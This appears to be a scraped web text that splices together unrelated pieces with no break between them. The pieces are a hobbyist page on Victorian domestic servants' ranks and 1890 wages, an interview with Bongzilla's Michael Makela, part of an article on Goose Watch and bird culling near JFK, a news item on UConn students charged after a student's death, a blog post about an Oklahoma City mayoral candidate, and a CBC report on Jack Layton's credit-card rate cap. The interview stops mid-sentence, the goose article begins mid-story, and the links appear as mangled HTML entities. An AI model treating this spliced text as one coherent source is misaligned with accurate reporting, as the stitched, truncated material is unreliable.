During the 1990s and early 2000s Hollywood and Britain released several successful movies about life in the 1800s. Public interest in these films prompted BBC to produce made for TV reality shows showing what life was like during this era, notably The 1900 House and The Manor House. These shows got me wondering about the hierarchy of British domestic servants at the turn of the last century and how much they earned. This webpage is a condensation of what I learned from several written and Internet sources (notably: Daily Life in Victorian England by Christopher Hibbert, The Victorian Household by Marion Lochead and the website Victorian Servants at www.ourwardfamily.com/victorian_servants.htm as well as material gleaned from a dozen other lesser sites.
The chart that follows shows the hierarchy of the servants of a major manor house in 1890. Such an estate would consist of a family headed by a gentleman of titled nobility, such as a duke, or an extremely wealthy business man, such as the president of Lloyds of London or the Bank of England. Men of this level would have incomes of at least 10,000 pounds sterling a year, equivalent today after adjusting for the 1890 exchange rate of $4.87 US dollars per pound and a century of inflation to $1,200,000 per year. If this amount seems too small to support at large household of servants (around 1890 the Duke of Westminster had a staff of 50 indoor and another 50 outdoor servants) it has to be acknowledged that the disparity between the rich and the poor was much greater then than now. The average servant earned a mere 25 pounds a year or $2,700 in today's economy. Cheap labor is what made large staffs possible.
It was impossible to categorize every type of servant at the turn of the century. Many great houses had specialty niches into which they placed a servant that might not fit in any other house. While the basic structure of the servant hierarchy was similar from house to house, the complexity of the great houses was such that a one-size-fits-all approach was not possible. The following chart focuses only on the principle servants.
Two salaries are listed for each position. The first is what the position paid in 1890 pounds, the second is what that salary would equal today after adjusting for the 1890 exchange rate and inflation to 2005. These values are based on the averages cited in several different references and should only be considered as approximations. Individual salaries varied significantly depending on the servant's appearance, attitude, capabilities and the size of the house in which they worked.
Professional Staff Hierarchy
Land Steward
Responsible for managing the farms, collecting rents
and undertaking all those activities associated with
making the estate profitable. This would be a highly-
educated gentleman who was regarded not as a
servant but a professional employee with a status
higher than the family lawyer. In addition to an
annual salary of 100-300 pounds ($11,000-
$33,000) he would have a private house on
the estate.
House Steward
Responsible for all purchasing, hiring, firing and paying
the servant staff. He would not be considered a servant
but a professional man like a lawyer. Fifty to 100 pounds
($5,500-$11,000) per year.
Upper Staff Hierarchy
Butler
The highest ranking official servant. Responsible for running
the house. Forty to 60 pounds ($4,300-$6,400) per year.
He also received considerable "gratuity" money from venders
selling goods to maintain the house. In smaller estates the
butler assumed the house steward's responsibilities.
Housekeeper
Responsible for the female staff and maintaining the house's furnishings.
Her salary was usually 5 to 10 pounds less than the butler's
($3,700-$5,400) per year.
Cook or Chef
In charge of the kitchen staff and responsible for preparing
the family's meals. (An under cook would prepare meals for him
and the staff.) Because food quality was an important method
for impressing guests, chefs often earned more than butlers even
though they ranked below them. A cook for a modest house might only
make 30 pounds ($3,200) a year while a famous chef for a royal family
might earn as much as 300 ($32,000.)
Lady's Maid and Valet
Their main job was to be a private servant for the lady or master
of the house: assisting them with dressing, caring for their cloths, being a
general companion and even performing secretarial duties. They were hired
by the Lady and Master of the house rather than by the butler, housekeeper
or house steward. Typical salaries were 20-30 pounds ($2,100-3,200) per year.
Lower Staff Hierarchy
First Footman
Next in line to replace the butler. His main job was to be tall, handsome
and represent the estate's grandeur. He accompanied the lady of the house
on shopping expeditions, served the family meals and assisted the butler
in his duties. Oddly, his responsibility did not include heavy work such
as carrying coal or water. These were left the the female staff. His salary
was around 30 pounds ($3,200) a year. Many footman's salaries were
based one how tall they were rather than how well they did their work.
The taller and more impressive they were the more they received. Their
income was supplemented by 5-15 pounds ($500-$1,500) a year in tips
and other gifts from lady of the house.
Second Footman
Similar to the first footman but in more of an apprenticeship status.
Twenty-five pound ($2,700) per year. Premium salaries were paid
to a pair of first and second footman whose size and appearance
made them look like twins. The idea was that they were most
impressive if, like book ends, they matched.
Head Nurse
In charge of the nursing staff in houses with
several nurses. Many of these nurses, charged with
watching over young children, were themselves
only 12-14 years old. Head nurses earned 25 pounds
($2,700) per year.
Footman
Additional male staff for opening doors, waiting at table,
assisting gentleman or accompanying ladies as needed.
Twenty pounds ($2,100) per year.
Chamber Maids
Responsible for cleaning bedrooms. Twenty pounds ($2,100) per year.
I imagine they were slightly higher than parlour maids because chamber
maids were in more intimate contact with the family, or at least the
remnants of their presence.
Parlour Maids
Responsible for cleaning and maintaining the sitting rooms, drawing rooms,
etc. of the house. Twenty pounds ($2,100) per year.
House Maid
General purpose worker. Sixteen pounds ($1,700) a year
Between Maid
Worked in either the house or the kitchen as needed.
Fifteen pounds ($1,600) a year.
Nurse
Responsible for raising the babies and young children of the house.
Ten to 15 pounds ($1,100-$1,600) per year depending on
age and ability.
Under Cook
Apprentice to the chef. Prepares meals for the staff. Worked for low
wages to work his way up to a full chef's job. Fifteen pounds
($1,600) per year.
Kitchen Maid
Assists in kitchen work. Fifteen pounds ($1,600) a year.
Scullery Maid
Dish washer. Thirteen pounds ($1,300) per year
Laundry Maid
Washing and ironing. Thirteen pounds ($1,300) a year.
Page or Tea Boy
Apprentice footman. Typically 10 to 16 years old. Eight to 16 pounds
($860-$1,700) per year depending on age, height, appearance and abilities.
Head Groom or Stable Master
Responsible for running the stables. Positionally he might rank
as upper staff but because he wasn't part of the inside staff
he didn't have their privileges. However, as master of his own
staff he undoubtedly occupied a similar status. Thirty to 50
pounds ($3,100- $5,300) a year.
Groom
Cared for horses: grooming, saddling, etc. fifteen pounds
($1,600) per year.
Stable Boy
Cleaned stables and etc. Six to 12 pounds ($640-$1,300)
per year depending on age and ability. Many times they
started when they were only 10.
Head Gardener
Like the head groom the head gardener was management and
therefor upper staff, yet his position outside the house prohibited
him from occupying a position in the house's upper
servant's. Also like the stable master his position of authority
had its compensations. Because a grand estate's grounds were
as important to impressing guests as the chef's skill, the head
gardener could earn a very high wage, as much as 120 pounds
($12,800) per year.
Game Keeper
Responsible for maintaining the bird population of the estate
so that the Master and guests would have game birds, such
as pheasant, to hunt. Thirty to 50 pounds ($3,100-
$5,400) per year.
Grounds Keepers
The general laborers under the head gardener. They'd do everything
from planting trees to cutting grass. Eight to 16 pounds ($850-
$1,700) per year depending on age and ability.
Governess
I'm listing governesses as a separate category because they
existed in a kind of social limbo. Typically they were unmarried
daughters of gentlemen who for one reason or another had to
go into service to support themselves. Because they officially
belonged to the genteel class it would be unspeakable for them
to accept service as a maid. As a governess they were able
to make use of their education and in theory retain a little of
their dignity. In reality their lives were miserable. They were looked
down on by the house's family as being from a failed family. Equally, the
staff looked down on them because they represented hypocrisy: they
worked for wages like any servant yet were supposed to be genteel.
Their job was to care for the family's teenage girls. (Teenage males
were sent off to boarding school.) Their salaries were 25 pounds
($2,700) per year. I found no references that clearly stated whether
they were considered upper or lower staff. Movies that show governesses
walking through the front door and assuming a status high above that of
house servants are not consistent with the lives described in my references.
Gate Keeper
This is another servant hard to categorize. His job was to guard the main entrance to the estate and often lived in a small house attached to the gate. Yet he would be classed as unskilled labor and as such would occupy a low position on the servant's hierarchy and receive a commensurately low salary, perhaps as little as 10 pounds ($1,100) per year.
One might wonder how people could live on such small incomes. Even when the value of room, board and clothes were added in these salaries still represent a poverty existence by today's standards. Part of the reason they were able to survive is because their lives were so simple (no car to pay off, no insurance, no phone bills, no electric bills, no water, waste and property tax bills, etc.) that they didn't require as much. Additionally, with the typical work schedule being 16-hours a day, 7-days a week they didn't have much time to spend their income on entertainment... of which there wasn't much.
Such conditions seem horrendous to us today, but it needs to be remembered that the work ethic was completely different 100 years ago. Today we work with the mind set that we do so mainly to get ahead in the world and pay for possessions and activities that bring us pleasure or satisfaction. Back then people worked to survive. Without any form of social security if you didn't earn a salary you starved to death, or froze to death in winter, or died of disease. There were no societal safety nets to catch you if you lost your job nor unions to protect you from abitrary dismissal.
While the life of a servant was unbelievably hard, many nonetheless considered themselves lucky to have food to eat and a roof over their heads regardless of the pay. They had a perspective born from a desperate need for survival and this went a long way toward sustaining them. Additionally, many began service at very young ages and were conditioned to accept it as a natural lifestyle.
Victorian Servants at www.ourwardfamily.com/victorian_servants.htm is an outstanding webpage for detailed information about the duties and life styles of most of the servants mentioned on this page.
(Click on main site to go to my main page and browse 70 topics ranging from triangle looms and Knitting Nancies to the strange world of lucid dreaming.)Bongzilla's reunion in 2015 after a decade-long hiatus saw the Madison band—which, in its prime, cornered the market on joyously splattering sludge-fests and lyrics seemingly dictated by THC itself—embark on a series of successful festival dates and overseas tours. But despite the fact that the individual members play frequently in town with three newer projects—Dosmalés, The Garza, and Grotto—the only show the group had played in town recently was a free set at the Great Midwest Marijuana Festival in October. So it came as a welcome surprise when the stoner metal legends announced a show in Madison at the High Noon Saloon on February 26, which kicks off an American tour with Black Cobra and Lo-Pan.
Bongzilla formed in 1995 with guitarist/vocalist Michael "Peewee" Makela, bassist Nate "Meanstreak" Dethlefsen, and drummer Michael "Magma" Henry, and started putting out a steady stream of singles and EP's the following year with the Mixed Bag 7". In 1997, guitarist Jeff "Spanky" Schultz joined and crucially expanded Bongzilla's sound, which was documented on 1998’s Methods For Attaining Extreme Altitudes EP. Their debut album Stash arrived in 1999, but it wasn't really until the following year's Apogee EP that Bongzilla really began to take off. Relentless touring, and the arrival of bassist and co-songwriter Cooter Brown, helped cement 2002's Gateway in the minds of many as their best record. Amerijuanican, released in 2005, was also well received, but the band had fallen apart by the time it was released, with Weedeater's "Dixie" Dave Collins filling in on bass for the recording.
With all this history, and the impending February show in town, I sat down recently with Makela to discuss the band's plans for new recordings and touring. But the conversation ranged all over the map, from discussing the band's influences, to whether Europe supports musicians more than America does, to the virtues of pioneering doom and sludge bands like Grief, Winter and Corrupted. After this American tour is complete, the band is planning on recording a new album, possibly with Chicago engineer/producer Steve Albini.
&amp;amp;amp;lt;a href="http://bongzilla.bandcamp.com/album/gateway"&amp;amp;amp;gt;Gateway by Bongzilla&amp;amp;amp;lt;/a&amp;amp;amp;gt;
Tone Madison: Do you think there are going to be new recordings?
Michael Makela: Yeah, I think for sure—if we're gonna keep doing it, we're gonna want to write new songs. There's riffs floating around at practice. I think we started playing enough together that it's starting out. You know, all the good Bongzilla had fallen out of practice to me—so definitely, for sure.
Tone Madison: The last show in town you guys did was the Great Midwest Marijuana Festival, and then before that there wasn't really much for a while, so why the High Noon now?
Michael Makela: Our booking agent booked it—he talked about a big tour, and he… I didn't have much to do with the yes or the no. He knows what we want for each show, and apparently it worked out. And I think the Marijuana Fest is something that we've played so many times through the years, be it Harvest Fest or the one they used to do in the spring, the… uh… there's good reasons why I don't remember the name of it, but there used to be a festival in the spring too that we've played a couple times. And it was a free show, and for our first show to be free, I thought it was pretty cool. I mean, those tickets at High Noon are 20 bucks or something, aren't they?
Tone Madison: It's like 20, 22.
Michael Makela: It's a great four-band show, in its defense.
Tone Madison: Yeah, it's worth the money. When I saw Babes in Toyland, they charged 22 bucks for that.
Michael Makela: Was that packed?
Tone Madison: When Babes In Toyland went on it was packed. Before then, it was a little sparser.
Michael Makela: For Porcupine and Powerwagon?
Tone Madison: Right. Powerwagon were good.
Michael Makela: Yeah, they're really good. I used to play bass in Powerwagon, for a brief moment.
Tone Madison: They really remind me of Karp, in a weird way.
Michael Makela: Yep! Cherubs-y, Karp…
Tone Madison: So obviously I enjoy them, and I like the guitar sound a lot.
Michael Makela: Have you seen that Karp documentary yet?
Tone Madison: No, actually, I haven't.
Michael Makela: Oh man, it's super-good. Kill All Redneck Pricks, it's called.
Tone Madison: Yeah. Self Titled LP is a masterpiece.
Michael Makela: Yep, I would agree.
Tone Madison: I'd say that one's the best.
Michael Makela: With the bird—
Tone Madison: The bird and the heads—
Michael Makela: The eagle—
Tone Madison: Right. I'd say that one's the best, but the first song on Suplex, "Get No Toys When You Pay The Money," might be my favorite Karp song ever.
Michael Makela: Yeah, those songs are really good too.
Tone Madison: Karp's a great band.
Michael Makela: Yep, I'd really agree.
Tone Madison: So I guess with the recordings and stuff, how do you guys generally write for the band?
Michael Makela: Well, Gateway was written by, partially, me and Cooter—at my house, we would find—I was living with a pot dealer and we'd find huge roaches and finish songs. Most of them were started at practice and finished either at practice, or by me and Cooter, like intros and extros, you know, exits. Amerijuanican I mostly wrote by myself, because that was an odd period for us, nobody really wanted to be there at that point. It was like at the tail end—we played one show after we recorded that record.
&amp;amp;amp;lt;a href="http://bongzilla.bandcamp.com/album/gateway"&amp;amp;amp;gt;Gateway by Bongzilla&amp;amp;amp;lt;/a&amp;amp;amp;gt;
Tone Madison: Yeah, Amerijuanican I'd always heard was kind of a rough period for the band.
Michael Makela: Yeah, yeah.
Tone Madison: Was it because Cooter—did Cooter leave?
Michael Makela: Yeah, he hooked up with a girl and moved to Cleveland. Nobody for sure wanted to be—Dixie jumped off a—Weedeater was opening for Corrosion Of Conformity, so he jumped off two weeks of this tour, Weedeater jumped off it so he could come and record this record. We had to fulfill a contract with Relapse, for the good or the bad. It's not like it's a horrible record, it just isn't—
Tone Madison: A lot of people like that one a lot, though.
Michael Makela: Yeah, a lot of people say it's our best, which is weird cause—
Tone Madison: It didn't feel good when doing it.
Michael Makela: No. And I think I can hear it, but I don't know if you can hear it. And it's—it's a good record. Like, recently because we started playing again—I never had listened to it. We listened to mix it, and I never listened to it again cause it was just this point in my life that I wanted to pretty much forget. And anyway, like going back and listening now, there's a lot of good. We're gonna start playing "Weedy Woman" and "Stonesphere." That we even played the ending, or the middle jam part of "Stonesphere" as well as we did on that record without playing together—we practiced two weeks before, and me and an ex of mine were changing places. Me and an ex of mine were moving houses. We had a month, so we spent two weeks practicing in this house. We were living next to Bucky Pope of the Tar Babies. So I talked to my neighbors, we practiced every day for two weeks, then recorded the record, then played one show for Brian—they had a tattoo party, he flew in Weedeater, Bongzilla played, and Weedeater played, and that was the only show we played. Otherwise, we didn't play.
Tone Madison: So, basically Dixie was sort of just there—
Michael Makela: He helped us out. We needed a bass player and we had gone through a couple people and we needed to do this record, so I called Dixie and he helped us out. He's a great musician so I wasn't worried about that, and he's a super brother.
Tone Madison: He shares the aesthetic.
Michael Makela: Yeah, Weedeater and Bongzilla had toured so much together, by that point. We spent weeks and weeks together on the road. And he's a brother, so he just super helped us out.
Tone Madison: Which one would you say is your favorite Bongzilla record? Doesn't even have to be an album…
Michael Makela: Oh, Apogee.
Tone Madison: Apogee?
Michael Makela: Yeah, the one with the helicopter getting shot down.
&amp;amp;amp;lt;a href="http://bongzilla.bandcamp.com/album/apogee"&amp;amp;amp;gt;Apogee by Bongzilla&amp;amp;amp;lt;/a&amp;amp;amp;gt;
Tone Madison: Is that the one that has live recordings on it as well?
Michael Makela: Yep, yep, on the CD. Originally it was just supposed to come out as a 10", and we recorded "H.P. Keefmaker" three times to try and get it short enough, but it never was, so they put it out as a 12".
Tone Madison: That's a good length for a 12", though.
Michael Makela: Yeah, it's a three-song 12". Yeah, by far that's where I always wanted us to be. Like, Gateway to me is our rock and roll record. I think definitely everybody else would say Gateway possibly, but to me, I always wanted to be really sloooooow. Extra slow. You know, now I like to midtempo groove, like Eyehategod sort of, but back then I wanted to play as slow as possible, and play the riff forever, like "Grim Reefer," like ridiculous amounts of—we don't count, you know, just feel.
Tone Madison: Yeah, just completely like slow motion.
Michael Makela: Yeah, and you end up counting anyway, and the feel of the song almost creates itself. You know what I mean?
Tone Madison: Yeah, it's almost like Corrupted.
Michael Makela: Oh yeah.
Tone Madison: Like Corrupted would do that really, unbelievably slow…
Michael Makela: Grief, if you've ever heard of them -
Tone Madison: Yeah.
Michael Makela: And Winter, from the early '80's, a band from Boston, played really slow. There's a band from Seattle called Toadliquor that were super good.
Tone Madison: Oh! I think they were from California.
Michael Makela: Nope, no.
Tone Madison: They were from Seattle?
Michael Makela: I'm almost positive, yeah. It doesn't matter.
Tone Madison: Yeah, Toadliquor is one of my favorite bands.
Michael Makela: Yeah, they're incredible. But they never released anything on CD, they only released records. It's why their music was so hard to get.
Tone Madison: Relapse did a compilation, though.
Michael Makela: Yeah, but that was very much after the fact.
Tone Madison: Did you ever feel like your vision was the one that predominated with Bongzilla?
Michael Makela: Oh yeah, it was me. Those guys would have played noise rock. Even I, at times, had to almost put my foot down about what I would call a circular riff—
Tone Madison: The one main riff of "Greenthumb"?
Michael Makela: —a riff that doesn't go anywhere. No, no, that goes somewhere.
Tone Madison: It's one of my favorite riffs.
Michael Makela: Like, "doo-doo-doo doo-doo-doo doo-doo-doo," like noise rock, where it's more a circular—like, stuff we're playing is blues, so there's always a tag, that little tag that completes the riff. Maybe I'm not making sense, and that's just how I see it. But yeah, I mean definitely I was the guy that wanted to play, you know, Skynyrd, Sabbath-y music, and—I mean there was points where I just wanted to play swing, which I'm kind of glad they didn't just let me play swing entirely, cause that gets old. But, then you mix it up and stuff like Corrupted and stuff that's super slow, you can't even—you see a band on the road and you're like, "Man, we're not heavy at all!" That stuff would happen to me.
Tone Madison: Really?
Michael Makela: Oh God, yeah.
Tone Madison: That's happened to me before.
Michael Makela: We played with this band called Baba Yaga in Seattle, they were four women, and they just crushed us that night. I was like "Man, we gotta get heavy." [Laughs.] You know, that's all I could think. Whether I was right or wrong, who knows.
Tone Madison: That's actually something that's interesting. There are a lot of really good heavy bands right now, like Primitive Man is incredible.
Michael Makela: Oh yeah! Yeah, they're getting huge actually, those kids are really cool. We hung out with those kids out west a couple times, they opened for us in Los Angeles at the Echoplex. They're super heavy. Super heavy. Good kids, too.
Tone Madison: Is touring now easier than it was before?
Michael Makela: Easier? That's an odd word.
Tone Madison: Well, okay. Maybe…
Michael Makela: We're making—like financially, it's more sound. So yeah, that would be making it easier. You're not starving. Like, we used to starve.
Tone Madison: Did you guys get—I mean, I've been on tour. You know, touring on a small level is—you eat whatever you can find.
Michael Makela: Yeah, you hope to get fed, and if you don't, you can scrape it together for sure. I mean, it's funny, but looking back, those are the shows that were—because you're so excited to be on the road, and you never have been—those are the shows that you're way more excited about. If it's two people—sometimes those early two-people shows are way more profound than playing in front of ten thousand people, when somebody thinks you're somebody. When nobody knows who you are, and the two people who were there freak out, that's pretty intense.
Tone Madison: Oh yeah, it's a huge feeling.
Michael Makela: So yeah, I mean, we suffered. The first two tours I booked by myself, on a pay phone half the time and on my house phone, so pre-Internet.
Tone Madison: I guess booking a tour now is completely different.
Michael Makela: Yeah, you can book a tour on Facebook.
Tone Madison: We've been doing that.
Michael Makela: Yeah, we now have a bigger booking agency, and we're lucky, you know. To say we're not is… yeah. But I don't know, easier? We're older too, so sitting in a van for twelve, fourteen hours isn't as much fun as it used to be.
Tone Madison: Does one of the guys do most of the driving?
Michael Makela: We have a driver now. That makes it a lot easier, actually. And we never had a tour manager or a driver, and one guy did drive all the time —Spanky, who went on to long-haul trucks. When he's not touring now, he's driving an 18-wheeler.
Tone Madison: Obviously he doesn't mind driving too much.
Michael Makela: No, he actually likes it.
Tone Madison: Our drummer likes driving. He did all the driving on tour.
Michael Makela: It's common that one person drives, mostly.
Tone Madison: It was lucky. How did the band start up?
Michael Makela: We were in La Crosse. Me and the old bass player that was on Methods For Attaining Extreme Altitudes [Nate Dethlefsen] and I was more into like… oh, I don't know, Hüsker Dü and Black Flag, and we were so close to Minneapolis, so to get into that music was pretty easy, I think. Even the AmRep stuff, like Hammerhead and the Cows, and then a little bit of like Touch and Go stuff. But I remember hearing the Melvins, and thinking "holy…" and then like being a punk rock kid and playing mostly punk and thinking, "well, I can't really listen to Sabbath and Zeppelin cause I wanna play punk rock." But then, hearing Sabbath again, and kinda tripping out about it, and thinking, "yeah, fuck punk rock, I'm gonna play slow." And then just wanting to really play slow, when nobody really but the Melvins were really playing slow back then. I mean, there was bands if you saw them out, like Winter, and |
I look at wildlife now and go, “some asshole wants you dead.’”
But there weren’t enough geese to satisfy Karopkin. Not as many as when he was here last summer. The further we walked, the sadder he looked.
We saw a red truck parked on the far side of an inlet. Galicia Outes, a 37-year-old paramedic who volunteers with Goose Watch and who was on patrol with David that day, thought the trucks looked like the ones they use to round up geese. We raced over to check it out. It was nothing, just some parks people.
Goose roundups are less common these days, partially because Goose Watch has put pressure on the government to stop them, and partially because there aren’t that many geese left to kill. Often, the United States Department of Agriculture, which is contracted by the Port Authority and is granted permits by the wildlife refuge, comes in and sprays oil over the eggs of geese and other birds so they don’t hatch, or they’ll “addle” the eggs — shake them until the embryo collapses. This way, the goose moms stay nesting and relatively undisturbed. But a chick will never hatch from such eggs.
We were only a few miles from JFK, and later we headed to the edge of it, just a mile or so from one of its runways, trying to catch a glimpse of one of the government’s more brutal management techniques. From this vantage point, looking over the Atlantic onto one of JFK’s runways you can often hear, and sometimes see, Port Authority employees using a shotgun to kill geese and other birds out of the sky
“We try to provide a healthy habitat and ecosystem for the animals here. We try to avoid active management,” Patti Rafferty, the chief of resource management for the Jamaica Wildlife Refuge and the encompassing Gateway National Park, said. “But that’s not always possible in an urban habitat when we have lots of external forces.”
Karopkin and his fellow volunteers understand that birds do present a danger to planes. He doesn’t want to underplay that. They just don’t think the harm of killing them justifies any theoretical reward.
“Is there a risk of another flock of geese or other birds hitting a plane? Sure, of course,” Galicia Outes said. “But we’re like flying metal tubes through the air. There are a lot of different risks involved in that.”
Goose Watch has had its share of critical press. In 2011, the New York Post called Goose Watch “goose-rights wackos.” A year earlier, former Mayor Michael Bloomberg told the Wall Street Journal that in his view, goose management was a zero-sum game — geese vs. human beings, and he was firmly on the side of humans. But Goose Watch’s recommendations — to stop culling the goose population and start focusing more on other, more humane management methods — are more in line with current academic thinking about geese and planes than the anti-geese press would have you believe.
A study by the Federal Aviation Authority in 2011 found that planes hitting birds (officially called bird strikes) actually peaked in 2000, and declined by 29 percent since then, despite the number of takeoffs and landings increasing each year. (There’s no proof that shooting geese or capturing them contributed to that decline.)
What kind of city doesn’t have wildlife?
One promising and burgeoning method of goose control method is bird radar, which has been studied extensively by Yossi Leshem, a researcher in the zoology department of Tel Aviv University. Approximately 500 million migratory birds fly through Israeli airspace each year, and Lesham has worked with the country’s Air Force to track the location and flight patterns of birds and warn pilots of where to avoid them in real-time.
“I have no doubt that if LaGuardia Airport had bird radar, they would have seen the geese over the Hudson [that hit Sullenberger’s plane]”, Lesham said.
JFK is one of the busiest airports in the world, and its proximity to the ocean and the wildlife refuge means bird strikes aren’t uncommon — there were 23 reported last year, according to the FAA, but none of them caused major damage. That doesn’t mean the next one won’t be more deadly.
Galicia Outes scans the bay.
Lesham said that it wasn’t realistic for cities to rely solely on radar, because you can’t change flight patterns for every single takeoff and landing when there are more than a thousand a day. But, Lesham told me, you need to do something besides kill the birds.
“Killing a big mass of birds doesn’t solve the problem,” Lesham said. “After you kill 40,000 geese, another 40,000 will come.”
Missy Cummings, a professor at Duke University’s Pratt School of Engineering, said there were several potentially more effective methods than bird culling: you could build large, fancy versions of scarecrows at airports, you could use drones to scare them off, or you could use radar, and sound-emitting devices. Guns and culling, she said, should be an area of last resort.
“It’s such a drop in the bucket to the bird problem,” she said. “Even if you gave [the Port Authority] M16s and they were shooting all the time, you’d still have birds.”
Part of the problem, according to Karopkin and other Goose Watch volunteers, is that the Agriculture Department gets paid to kill birds, just like a private exterminator would. According to documents Goose Watch obtained via Freedom of Information Law requests, the USDA was paid approximately $200,000 over three years to cull geese and other birds. That, Karopkin said, gives them a perverse incentive to exaggerate the bird problem, and sell airports on geese capture and egg oiling. The department has landed in hot water before for its extermination practices: an investigation last year by Harper’s Magazine found the agency regularly tortured wildlife and killed endangered species without any clear justification that it was for ecological integrity or the safety of humans.
But the bigger problem, to Karopkin at least, is that hardly anyone likes geese, and so they’re easy to kill. They poop everywhere, they defend their turf with loud sounds and quick movements. They’re not cute and cuddly. As a GQ article last year ranking the “lamest birds in the world” said: “Fuck geese. Geese are assholes.”
And this attitude, more than anything, is what riles up Karopkin. It gets to the hypocrisy he sees central to not only goose-human interaction, but all human interaction: we create the conditions that cause geese to bother us, and then we blame the geese. The solution, he says, is to change the conditions.
A very brief goose history: there used to be hundreds of millions of Canada geese and other waterfowl throughout North America. But European colonizers and their offspring liked to kill them, along with many other native birds, for their feathers and their meat. A popular hunting method in the late 1800s involved using a “decoy” flock of geese. Essentially, hunters across the U.S. would keep a population of geese in a field so that migratory populations would swoop in to meet their goose friends and they could get an easy shot. Goose-hunting using decoys was so popular that, by the early 1900s, Canada geese were nearly extinct in the United States and Canada. Bans and limits were put in place by the federal government and several states on hunting geese and on maintaining decoy flocks.
The leftover decoy geese were often let go, but their ancestral instincts had been erased: most no longer knew how to migrate, and so they settled in our parks, on our streets, near our houses, anywhere they could. And even though we hated them, their preferred habitat — short grass and still pond water — was amply available across the continent in the form of well-manicured lawns, the fountains that ordain the plazas of corporate complexes, golf courses, and refuges next to airports. And then it was decided there were too many of them, that they were assholes, and potential plane killers. They needed to go.
Since the day Sully Sullenberger landed his plane in the Hudson, the city has killed 70,000 birds.
The last time Karopkin saw the government round up geese and take them to slaughter was in the summer of 2013, in the same park we walked around a few weeks ago. A dozen or so USDA employees wearing rubber gloves drove up in pickup trucks, caught a few dozen geese, placed them in orange crates with their gloved hands, loaded them onto the back of the trucks, and carted them to a gassing facility at an undisclosed location. Karopkin filmed the whole thing, holding back tears.
“There’s something heartbreaking to me about disappearing these animals,” he said. “It was just, ‘Goodbye, get in the truck, you’re gone.’”
Sitting on a bench overlooking Jamaica Bay, Karopkin began talking about the way we treat each other in New York. We’ve created a hellscape, cramming ourselves on top of each other in apartments, shoulder to shoulder in our underfunded subways. But, slowly, we’ve learned to not take out the problems of the world we’ve designed on each other. Murder — human murder — is at a multi-decade low, Karopkin said. Maybe we could learn to extend the same respect to the goose.VERNON, Conn. -- Six University of Connecticut students charged with alcohol crimes related to the death of a fellow student who was accidentally run over by a fire department vehicle have avoided jail time.
The Hartford Courant reports that a judge granted accelerated rehabilitation to the six men in written decisions issued this week. It's a special form of probation that will allow them to avoid jail and have their records wiped clean if they successfully complete the program.
The students were charged in connection with an October party attended by 19-year-old Jeffny Pally, of West Hartford. Police say she drank alcohol at the party and fell asleep in front of the campus fire department and was run over by a vehicle responding to what turned out to be a false alarm.
Pally was sitting on the ground with her back against a bay door at the university's fire station when the door opened. A fire department SUV ran over Pally and kept moving, CBS New York reported, citing state police. Pally's body wasn't found until about 30 minutes later when firefighters returned. She died from injuries to her head and torso, the medical examiner's office determined.
In March, the Delta Gamma Fraternity, a national Greek women's organization, announced it decided to close a University of Connecticut chapter in the wake of Pally's death. She was part of the organization, CBS affiliate WFSB reported.Dr. Ed Shadid, a current Oklahoma City councilman, is running for mayor and has a bit of an uphill climb ahead of him since he’s running against the incumbent, popular Mayor Mick Cornett.
It’s worth noting, though, that Shadid is courting the atheist vote. According to a now-deleted Tweet, Chas Stewart of the Oklahoma Atheists Godcast mentioned that Shadid attended one of his group’s events.
You don’t see that happening often, especially in a state like Oklahoma. It doesn’t mean Shadid is an atheist himself, but so far, his visit doesn’t seem to have hurt him. Progress!
Now if only Shadid would stop talking about how he wants to raise property taxes and taking pictures with children wearing shirts with the words “Penis” and “Vagina” on them, he might have a better chance of winning this thing:
(Thanks to Scott for the link!)NDP Leader Jack Layton said Tuesday he would cap credit card rates and fees as a way to control the household debt of Canadian families.
Layton announced the party's first platform plank at a news conference in Brantford, Ont.
The NDP proposal would cap credit card rates at the prime interest rate plus five percentage points.
That would mean a Canadian with a credit card would be paying closer to eight or nine per cent interest, instead of the common 20 per cent that they are paying now.
The NDP leader also said he would extend powers to federal regulators to control "excessive fees on credit cards."
Layton also said he would make a voluntary code of conduct on transaction fees implemented by the Conservative government a law.
P.O.V. Do you think capping credit card rates will help households? Take our survey
"It will allow banks to recoup a profit while keeping family debt loads manageable," Layton said in his speech.
"And unlike Stephen Harper's latest idea, my plan will help Canadians families now — not in 2015."
Layton's reference to the immediate measure was another shot at Harper's proposed family tax credit that was announced on Monday.
The proposal would allow families with children under 18 to split as much as $50,000 of their income. The policy would not come into effect until after the federal budget is balanced, which isn't expected until 2014-15.
A statement released by the Liberal Party said Layton's policy is poorly thought out and could hurt could hurt low-income Canadians.
The Liberals say evidence from other countries shows credit card companies find other ways to make back the money they lose with lower interest rates, including increases in monthly fees and bigger late charges. They say the regulation could also mean credit card companies stop giving them to high-risk, low-income customers.
Layton said the move is to combat the fact the average family household debt has jumped to more than $100,000 during the recession.
He said many Canadian families are turning to their credit cards to pay for basic needs.
NDP Leader Jack Layton announced a plan to cap rates and fees on credit cards at a campaign stop in Brantford, Ont. (Andrew Vaughn/Canadian Press) While Layton said families need help paying their bills, New York-based Moody's Investors Service offered a different analysis.
The bond-rating agency said Canadians are showing an ability to handle their credit card debts even though they are holding onto high levels of household debt.
Michael Buzanis, Moody's vice president and senior credit officer in Toronto, said in a statement that Canadians are much better at paying off their card debt than cardholders in the United States.
Canadians pay off 32.8 per cent of their card balances every month, while Americans and the British both pay about 20 per cent of their card balances, according to Moody's.
"We don't see the high consumer debt levels so far morphing into a credit problem. The performance of credit cards and the performance of mortgages doesn't evidence stress yet," he said in a statement.
The NDP's focus on credit card fees and rates is not a new campaign theme.
The party issued similar pledges in both the 2004 and 2008 campaigns.
The party's 2004 campaign platform specifically said the NDP would cap interest rates at five percentage points above the prime lending rate, which is similar to the Tuesday's announcement.
And in 2008, Layton attacked what he called "price gouging" by credit card companies.
Financial institutions doing 'just fine'
The NDP leader contrasted the problems he said many Canadian families are having in paying their bills with the latest bank profits.
A Brantford house displays the NDP's signs supporting the party's plan to cap credit card rates and fees. (James Cudmore/CBC) He said Canadian chartered banks made more than $21 billion in profits last year.
When asked whether his plan would eat into those bank profits, Layton said Canada's financial institutions will have to find a way to continue to make money without "gouging people."
"The financial institutions will do just fine. I think some control over the rates that they are charging is absolutely essential," Layton told reporters at his news conference.
"We have very large banks in Canada. There is not a lot of competition one to the other. The result is you need to have a government standing on the side of the people."
Just as he was leaving the podium, Layton was asked by a reporter about how many credit cards he had in his wallet.
